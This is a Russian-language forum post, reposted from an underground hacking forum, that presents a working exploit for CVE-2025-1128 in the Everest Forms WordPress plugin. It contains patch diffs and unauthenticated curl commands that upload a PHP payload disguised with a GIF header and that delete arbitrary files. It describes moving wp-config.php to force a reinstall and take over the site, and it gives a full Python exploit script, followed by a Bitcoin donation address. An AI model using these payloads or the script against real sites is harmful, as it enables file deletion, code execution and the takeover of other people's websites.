Everest Forms WordPress Plugin CVE-2025-1128 exploit

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор xargs
Источник https://xss.is/threads/134115/


На днях мне на почту пришла рассылка от wordfence в которой была новость:

100,000 WordPress Sites Affected by Arbitrary File Upload, Read and Deletion Vulnerability in Everest Forms WordPress Plugin​

https://www.wordfence.com/blog/2025...nerability-in-everest-forms-wordpress-plugin/

На момент написания последняя версия плагина 3.0.9.5
Мы тестили 3.0.9.4 и 3.0.9.3
Абуз конфига (ниже) в 3.0.9.3 остальное актуально для 3.0.9.4

Нажмите, чтобы раскрыть...

Конечно же код эксплойта никто не опубликовал, и тут мы решили провести свое исследование.
Скачали нужные версии плагинов, посмотрели что за патчи выходили.
Дифнули сорцы, вот код:

Diff: Скопировать в буфер обмена
Код:
diff -u everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php everest-forms3095/includes/abstracts/class-evf-form-fields-upload.php

@@ -1114,6 +1114,7 @@
                        if ( $proper_filename || ! $ext || ! $type ) {
                                evf()->task->errors[ $form_data['id'] ][ $field_id ] = esc_html__( 'File type is not allowed.', 'everest-forms' );
                                update_option( 'evf_validation_error', 'yes' );
+                               wp_die( 'File type is not allowed' );
                        }
 
                        // Allow third-party integrations.
============================================================================================================================
diff -u everest-forms3094/includes/evf-core-functions.php everest-forms3095/includes/evf-core-functions.php

@@ -4728,14 +4728,30 @@
                        break;
                case 'date':
                        if ( 'range' === $mode ) {
+                               $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
                                $selected_dates = explode( ' to ', $datetime_value );
                                if ( count( $selected_dates ) >= 2 ) {
-                                       $datetime_start = "$selected_dates[0] 00:00";
-                                       $datetime_start = gmdate( 'Y-m-d H:i', strtotime( $datetime_start ) );
-                                       $date_time      = new DateTime( $selected_dates[1] );
-                                       $date_time->modify( '+23 hour' );
-                                       $datetime_end              = $date_time->format( 'Y-m-d H:i' );
-                                       $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+                                       if ( count( $selected_dates ) >= 2 ) {
+                                               $start_date = DateTime::createFromFormat( $date_format, $selected_dates[0] );
+                                               if ( $start_date === false ) {
+                                                       evf_get_logger()->debug( print_r( "Invalid start date format: {$selected_dates[0]}", true ) );
+                                               }
+                                               $start_date->setTime( 0, 0 );
+                                               $datetime_start = $start_date->format( 'Y-m-d H:i' );
+
+                                               $end_date = DateTime::createFromFormat( $date_format, $selected_dates[1] );
+                                               if ( $end_date === false ) {
+                                                       evf_get_logger()->debug( print_r( "Invalid end date format: {$selected_dates[1]}", true ) );
+                                               }
+                                               $end_date->modify( '+23 hours' );
+                                               $datetime_end = $end_date->format( 'Y-m-d H:i' );
+
+                                               $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+                                       }
+                               }else{
+                                       if ( !empty($datetime_value) && ! is_array ( $datetime_value) ) {
+                                               $datetime_arr[ $entry_id ] = $datetime_value ;
+                                       }
                                }
                        } else {
                                $selected_dates = explode( ', ', $datetime_value );
@@ -4753,6 +4769,7 @@
                        break;
                case 'date-time':
                        if ( 'range' === $mode ) {
+                               $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
                                $selected_dates = explode( ' to ', $datetime_value );
                                if ( count( $selected_dates ) >= 2 ) {
                                        $datetime_start            = gmdate( 'Y-m-d H:i', strtotime( $selected_dates[0] ) );


============================================================================================================================
diff -u everest-forms3093/includes/abstracts/class-evf-form-fields-upload.php everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php

@@ -1198,8 +1198,7 @@
         */
        protected function generate_file_info( $file ) {
                $dir = $this->get_form_files_dir();
-
-               $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . $file['file'];
+               $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . sanitize_file_name($file['file']);
                $file['type']     = 'application/octet-stream';
                if ( is_file( $file['tmp_path'] ) ) {
                        $filetype     = wp_check_filetype( $file['tmp_path'] );
============================================================================================================================
diff -u everest-forms3093/readme.txt everest-forms3094/readme.txt

+* Fix                          - Sanitization filename issue in temporary path.
============================================================================================================================


и увидели что вся бага крутиться вокруг:
Код: Скопировать в буфер обмена
wp_die( 'File type is not allowed' );
Которого не было, он то и позволял грузить файл даже когда скрипт ругался. Чуть далее наглядно будет.

Основной абстрактный класс плагина: everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php
Интересные моменты: Хуки

PHP: Скопировать в буфер обмена
Код:
public function add_ajax_events() {
        $ajax_events = array(
            'upload_file',
            'remove_file',
        );

        foreach ( $ajax_events as $ajax_event ) {
            add_action( 'wp_ajax_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
            add_action( 'wp_ajax_nopriv_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
        }
    }


Смотрим функцию remove_file - она позволяет удалить любой файл в временной папке даже если ты ноубади.
Как и функция upload_file позволяет загрузить файл даже если форма не предназначена для загрузки, но загрузить можно не любые форматы.
Вообще это так себе затея, потому как запись на диск и удаление очень ресурсоемкие операции, особенно удаление, по этой причине не только лишь все крупные сервисы никогда не удаляют ваши фоточки итд а просто их перестают отображать и то далеко не всегда, прямые линки на фото зачастую остаются рабочие.
А это значит потенциально мы можем убивать диски на таргетах.
функция create_dir/get_tmp_dir она будет создавать в папках index.html мешающий листингу директорий на серверах где это включено.

Создаем форму без загрузки файлов.

1.png



Обузим AJAX хуки:
2.png


Код:

Код: Скопировать в буфер обмена
Код:
curl --path-as-is -i -s -k -X POST \
    -H "Content-Type: multipart/form-data" \
    -F "action=everest_forms_upload_file" \
    -F "form_id=87" \
    -F "field_id=qweasd" \
    -F "file=@1.txt;type=text/plain" \
    "https://TARGET/wp-admin/admin-ajax.php"

Все что нам нужно знать это form_id=87 файл загружается в wp-content/uploads/everest_forms_uploads/tmp/
Содержимое файла:

PHP: Скопировать в буфер обмена
Код:
GIF56a
<?php
var_dump(1337);
phpinfo();
exit();
Первая строка GIF56a обходит проверку содержимого.

Удаление файла index.html
3.png


Код: Скопировать в буфер обмена
curl -X POST -d "action=everest_forms_remove_file&file=index.html&form_id=90&field_id=qweasd" https://TARGET/wp-admin/admin-ajax.php
ну или любого другого файла...

Поковыряв форму загрузки в BurpSuite обнаружили что можно манипулировать параметрами.
JSON: Скопировать в буфер обмена
[{"file":"067babc1eac8bbac3f5b9af84e03f73a.txt","name":"1.txt"}]

4.png




К сожалению загружать файлы мы можем в специальную папку путь к которой нам не известен, так же как и имя генерируется с “солью”, но мы можем манипулировать расширением.
Для автоматизации был написан эксплойт.

5.png



Так же мы можем вызвать ошибку, если сервер их отображает:

6.png




И наконецто самая жирная бага это то что мы можем перенести файл wp-config.php что позволит нам запустить новую установку WordPress!!
7.png


Новая установка позволит нам вписать свои кредсы для конекта к удаленной БД, позволит создать нам нового админа, зайти в админку и через редактирование тем/плагинов загрузить шелл/плагин, восстановить старый конфиг который перенесло в wp-content/uploads/everest_forms_uploads//90-0095f2ab26ce26f21ddddb372dfad99e/EXPLOIT-EXPLOIT-EXPLOIT-c2ce6b2a3476635a0592ae41de59ac78-1.php и вернуть прежнее состояние сайта но уже скомпроментировав его.

Но есть пару моментов: файл wp-config-sample.php должен быть не удален, без него установка не запуститься а сам файл после установки умные админы могут удалить ну и конечно же нужны права на файлы, чтоб веб-сервер работал от пользователя, например www-data и файлы были тоже www-data.

8.png



Итог:
Уязвимость очень специфическая потому как для абуза конфига нужно чтоб на таргете была форма загрузки файлов, для временных файлов подходит любая форма из плагина без файлов.

Код эксплойта:
Эксплоит умеет собирать информацию по форме, обнаруживать поля обязательные для заполнения, запрашивает что ввести нужно.

Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
import re
import sys
import json

def get_form_data(form_url):
    session = requests.Session()
    response = session.get(form_url)
    if response.status_code != 200:
        print(f"Ошибка: {response.status_code}")
        return None, None, None, None, None, None, None
 
    soup = BeautifulSoup(response.text, 'html.parser')
    form = soup.find('form', class_='everest-form')
 
    if not form:
        print("Форма с классом 'everest-form' не найдена.")
        return None, None, None, None, None, None, None
 
    form_data = {}
    required_fields = {}
    hidden_fields = {}
    file_upload_fields = {}
 
    for field in form.find_all(['input', 'select', 'textarea']):
        name = field.get('name')
        value = field.get('value', '')
        field_type = field.get('type', 'text')
        is_required = field.has_attr('required')
        is_hidden = field_type == 'hidden'
        is_file_upload = 'dropzone-input' in field.get('class', []) and not is_hidden
     
        if name:
            if is_hidden:
                hidden_fields[name] = value
            elif is_file_upload:
                file_upload_fields[name] = value
            else:
                form_data[name] = value
                if is_required:
                    required_fields[name] = value
 
    user_input_data = {}
    if required_fields:
        print("\nВведите значения для обязательных полей:")
        for field_name in required_fields.keys():
            user_input_data[field_name] = input(f"Введите значение для {field_name}: ")
 
    cookies = session.cookies.get_dict()
    return form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data

def upload_file(wp_url, file_upload_fields, cookies, session):
    for name in file_upload_fields:
        match = re.match(r'(everest_forms_)(\d+)_(.+)', name)
        if not match:
            print(f"Не удалось разобрать имя поля: {name}")
            continue
     
        _, form_id, field_id = match.groups()
        form_id = int(form_id)
     
        files = {
            'file': ('1.txt', b'GIF56a\n<?php\nvar_dump(1337);\nphpinfo();\nexit();', 'text/plain')
        }
     
        data = {
            'action': 'everest_forms_upload_file',
            'form_id': str(form_id),
            'field_id': field_id
        }
     
        url = f"{wp_url}/wp-admin/admin-ajax.php"
        response = session.post(url, data=data, files=files, cookies=cookies)
     
        if response.status_code == 200:
            try:
                response_json = response.json()
                uploaded_file = response_json.get("data", {}).get("file")
                if uploaded_file:
                    print(f"Файл успешно загружен: {uploaded_file}")
                    return uploaded_file, name
            except json.JSONDecodeError:
                print("Ошибка: Не удалось разобрать JSON-ответ сервера.")
        print(f"Ошибка загрузки файла. Код ответа: {response.status_code}")
        return None, None

def move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session):
    custom_file = input(f"Использовать загруженный файл {uploaded_file} или указать свой? (y/n): ")
    if custom_file.lower() == 'n':
        uploaded_file = input("Введите имя файла для отправки: ")
 
    full_form_data = {**hidden_fields, **form_data, **required_fields, **user_input_data}
 
    if uploaded_field:
        full_form_data[uploaded_field] = json.dumps([{"file": uploaded_file, "name": "EXPLOIT-EXPLOIT-EXPLOIT.php"}])
 
    print("\nСформированные данные для отправки:", json.dumps(full_form_data, indent=4, ensure_ascii=False))
    confirm = input("Отправить форму? (y/n): ")
    if confirm.lower() == 'y':
        response = session.post(form_url, files={k: (None, v) for k, v in full_form_data.items()}, cookies=cookies)
        print("\nФорма отправлена. Код ответа:", response.status_code)
    else:
        print("Отправка отменена пользователем.")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Использование: python script.py <wp_url> <form_url>")
        sys.exit(1)
 
    wp_url = sys.argv[1]
    form_url = sys.argv[2]
 
    form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data = get_form_data(form_url)
 
    if file_upload_fields:
        uploaded_file, uploaded_field = upload_file(wp_url, file_upload_fields, cookies, session)
        if uploaded_file:
            move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session)

requirements.txt
Код: Скопировать в буфер обмена
Код:
requests
beautifulsoup4
Установка зависимостей
Код: Скопировать в буфер обмена
pip install -r requirements.txt


Если вам понравилось, поддержите наши исследования и мы сможем продолжать радовать вас новыми находками. Так же мы можем пентестить ваши проэкты web/linux/windows.
Специально для XSS.is
BTC:
bc1qxu27qct444s8gzsl9q7qa76ccpzkw5jkhl563x

Ссылки по теме:
https://www.wordfence.com/threat-in...cated-arbitrary-file-upload-read-and-deletion
https://github.com/wpeverest/everest-forms/pull/1406/files
https://github.com/wpeverest/everest-forms/commit/7d37858d2c614aa107b0f495fe50819a3867e7f5
 
Сверху Снизу